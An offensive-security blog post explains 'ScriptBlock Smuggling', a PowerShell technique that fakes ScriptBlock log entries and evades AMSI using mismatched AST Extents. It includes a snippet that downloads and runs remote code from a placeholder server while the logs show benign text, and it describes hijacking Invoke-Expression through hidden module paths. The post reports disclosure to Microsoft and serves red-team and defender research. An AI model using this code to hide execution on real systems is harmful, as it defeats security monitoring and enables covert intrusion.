ScriptBlock Smuggling: Spoofing PowerShell Security Logs and Bypassing AMSI Without Reflection or Patching

Cyber Security + Offensive Security Tools + Programming Hubbl3 todayJune 17, 2024 1

Background
share close

Note: All code samples shown in the post can be found in our repo here 

In recent years, PowerShell tradecraft has seen a drop in popularity among pentesters, red teams, and to some extent APTs. There are several reasons for this, but at the core, it was the introduction of PowerShell security logging in PowerShell v5 and AMSI. These provided Blue teams with significant tools to combat the threats from PowerShell. Since these introductions, there have been several AMSI bypasses published, such as Matt Grabber’s reflective bypass or Rastamouse’s patching of AmsiScanBuffer and there have been a handful of ScriptBlock logging bypasses published, such as Cobbr’s ScriptBlock Logging Bypass. But these have all involved completely disabling the logging. There hasn’t been a method for spoofing these logs until now. ScriptBlock Smuggling allows an attacker to spoof any arbitrary message into the ScriptBlock logs while bypassing AMSI. To make things more interesting, it also does not require any reflection or memory patching to be executed. AMSI patching in particular, has started to be targeted by a lot of AV and EDR solutions so this is a major perk of the technique.   

Before we get into exactly how ScriptBlock Smuggling works, we need to overview how PowerShell leverages ASTs and what ASTs are briefly. Without diving too deep into the computer science behind compilers and code, ASTs are a tree-like structure that a compiler creates from source code to be able to create machine code. If you have source code that looks like this : 

while b ≠ 0​: 

        if a > b​: 

                a = a − b​ 

        else​ 

               b = b − a​ 

return a​ 

Then, the compiler would convert it to look something like this:

All language compilers work this way and when you create a ScriptBlock within PowerShell it’s no different. The parent node for all PowerShell AST is the ScriptBlock AST, this object contains a number of properties in addition to the child nodes of the tree. One of these properties is the Extent, which, for our purposes, can be thought of as the string representation of our ScriptBlock. Although it does have a few other properties:

So, how is this important to the security features within PowerShell? Well, if we look at the code from the PowerShell GitHub, we find a few interesting snippets within CompiledScriptBlock.cs:

PowerShell using only the Extent of a ScriptBlock to generate a log
PowerShell sending only the Extent of the ScriptBlock to AMSI

It turns out that all security features within PowerShell pass only the Extent of the ScriptBlock and nothing else. This is interesting, but given that whenever we create a ScriptBlock by wrapping code in {} or using [ScriptBlock]::create() the AST and subsequently the Extent are automatically generated, how can this information be leveraged? Well, it turns out that we can actually build the AST ourselves with:  

[System.Management.Automation.Language.ScriptBlockAst]::new($Extent,
                                                            $ParamBlock,
                                                            $BeginBlock,
                                                            $ProcessBlock,
                                                            $EndBlock,
                                                            $DynamicParamBlock
                                                            ) 

What’s even more interesting is that there is nothing that enforces the Extent to match  the BeginBlock, ProcessBlock, or EndBlock of the AST . These blocks are actually where the executable code is contained within the AST. So, if we can create a mismatch between these and the Extent, then we should theoretically be able to execute code with the logs looking different. We could build each of the blocks by hand, but here, we will take the simpler route of constructing two ScriptBlocks and then building a third from their components.

Here, we are just creating a simple spoof where the logs say Write-Output ‘Hello’ while the actual executed code is Write-Output ‘World’. However, this shows that our theorized impact from above does, in fact, hold true. Obviously, this code also shows up in the logs, but as detailed in one of our previous blog posts, the ScriptBlocks aren’t actually logged until the first time the ScriptBlock is executed. The example code could be modified to look like:

$wc=New-Object System.Net.WebClient
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast  
$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
                                                               $null,
                                                               $null,
                                                               $null
                                                               ExecutedAst.EndBlock.Copy(),                                                            
                                                               $null)
$Sb = $Ast.GetScriptBlock() 

And the executed code would never be observed by the logs or AMSI. Alternatively, we can build the ScriptBlocks in C# like this:

The PowerShell code can then be executed:

This example executes Write-Output ‘amsicontext’, which demonstrates the ability to bypass AMSI without needing any patching or reflection. When we run the code, we can check the logs and see that it only shows Write-Output Hello once again. As a side note, for some reason, using ps.addcommand does not result in a log being generated and executed, but using ps.addscript does generate logs as expected.

So what can we do with this? It could be used as a basic AMSI bypass, but potentially more interesting things like command hooking could also be done. It’s quite easy to build PowerShell Cmdlets and it turns out that PowerShell has a preference for newer modules when there is a name conflict between Cmdlets and modules. That is to say, if we were to name our Cmdlet “Invoke-Expression” and place it at one of the PSModulePath locations, then any time the user called Invoke-Expression our cmdlet would be called instead. The two default  PSModulePaths are:

C:\Users\<Username>\Documents\WindowsPowerShell\Modules    

C:\Program Files\WindowsPowerShell\Modules

The first one only impacts the current user, but the folders can be hidden and still work, making the user less likely to notice. Unfortunately, The second one requires at least local admin rights, so it is less useful. In order to have PowerShell pick up your module, you create a folder with the same name as your module DLL and then place the dll there.

Then, the next time they execute Invoke-Expression, their code will behave differently, while the logs will look like the code they intended to execute.

So there you have it! ScriptBlock Smuggling lets you spoof PowerShell security logs while inherently bypassing AMSI. This issue was disclosed to Microsoft but was closed with no further action. Stay tuned for more updates about evasion techniques and other new TTPs.

Written by: Hubbl3

Tagged as: .

Rate it

Previous post